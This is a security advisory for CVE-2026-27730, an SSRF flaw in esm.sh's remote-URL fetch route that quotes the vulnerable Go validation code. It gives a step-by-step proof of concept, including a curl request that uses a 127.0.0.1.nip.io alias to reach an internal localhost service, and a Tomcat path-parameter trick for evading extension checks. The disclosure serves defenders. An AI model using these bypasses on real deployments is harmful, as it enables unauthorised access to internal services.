CVE-2026-27730

Impact

### Summary An SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route. The service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`). This allows an external requester to make the esm.sh server fetch internal localhost services. Severity: High (depending on deployment network exposure). ### Details The vulnerable flow starts at the route handling user-controlled remote URLs: - `server/router.go:532` - Accepts paths beginning with `/http://` or `/https://`. ```go if strings.HasPrefix(pathname, "/http://") || strings.HasPrefix(pathname, "/https://") { query := ctx.Query() modUrl, err := url.Parse(pathname[1:]) if err != nil { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } if modUrl.Scheme != "http" && modUrl.Scheme != "https" { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } modUrlStr := modUrl.String() // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` The internal-target block is string-based: - `server/router.go:545` ```go // disallow localhost or ip address for production if !DEBUG { hostname := modUrl.Hostname() if isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host { ctx.SetHeader("Cache-Control", ccImmutable) return rex.Status(400, "Invalid URL") } } ``` Localhost detection itself is limited to hostname patterns: - `server/utils.go:72` - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`. - It does **not** validate the resolved destination IP after DNS resolution. ```go func isLocalhost(hostname string) bool { return hostname == "localhost" || strings.HasSuffix(hostname, ".localhost") || hostname == "127.0.0.1" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, "192.168.")) } ``` Fetch proceeds with host-string allowlisting: - `server/router.go:595-596` - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)` ```go allowedHosts := map[string]struct{}{} allowedHosts[modUrl.Host] = struct{}{} fetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts) defer recycle() ``` - `internal/fetch/fetch.go:49` - Host allowlist compares host strings, not resolved IP class. ```go func (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) { if c.allowedHosts != nil { if _, ok := c.allowedHosts[url.Host]; !ok { return nil, errors.New("host not allowed: " + url.Host) } } if c.userAgent != "" { if header == nil { header = make(http.Header) } header.Set("User-Agent", c.userAgent) } // ... return c.Do(req) } ``` Because validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections. ### PoC Reproduction tested on local Docker deployment. 1. Run esm.sh: ```bash docker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest ``` 2. Run an internal localhost-only test service (`secret` response) in the same network namespace: - Internal network test server code (app.py): ```python from flask import Flask, Response @app.get('/secret.js') def secret_js(): return Response('secret;\n', mimetype='application/javascript') if __name__ == '__main__': app.run(host='0.0.0.0', port=5555) ``` Run the internal Python server container (same network namespace as `esmsh-5558`): ```bash docker run -d --name internal-5555 --network container:esmsh-5558 \ -v "<YOUR_PATH>/flask-internal:/app" -w /app \ python:3.11-alpine sh -lc "pip install --no-cache-dir flask && python app.py" ``` Since this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network. 4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access. ```bash cloudflared tunnel --url http://127.0.0.1:5558 ``` 5. Trigger SSRF from outside via esm.sh endpoint: ```bash curl -i "https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js" ``` 127.0.0.1 is blocked, <img width="1206" height="322" alt="image" src="https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b" /> but 127.0.0.1.nip.io bypasses the filter. <img width="1210" height="336" alt="image" src="https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff" /> This confirms external requesters can fetch internal localhost service content through esm.sh. ### Impact This is a Server-Side Request Forgery vulnerability (CWE-918). Impacted: - Any esm.sh deployment exposing the `/http(s)` route to untrusted users. - Environments where internal services are reachable from the esm.sh server/container network. Potential consequences: - Access to localhost/internal HTTP services not intended for public access. - Internal service discovery/probing through the server. - Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs). - The exploit surface is extension-limited in this route (e.g., ".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"), so it is not a universal arbitrary-file fetch primitive. - Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.** - If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**

Affected packages

Affected products

Weakness classification

References

• NVD record
• CVE.org record
• GitHub advisory
• https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r
• https://github.com/advisories/GHSA-p2v6-84h2-5x4r
• https://nvd.nist.gov/vuln/detail/CVE-2026-27730
• https://github.com/esm-dev/esm.sh/pull/1149
• https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0
• https://github.com/esm-dev/esm.sh/releases/tag/v137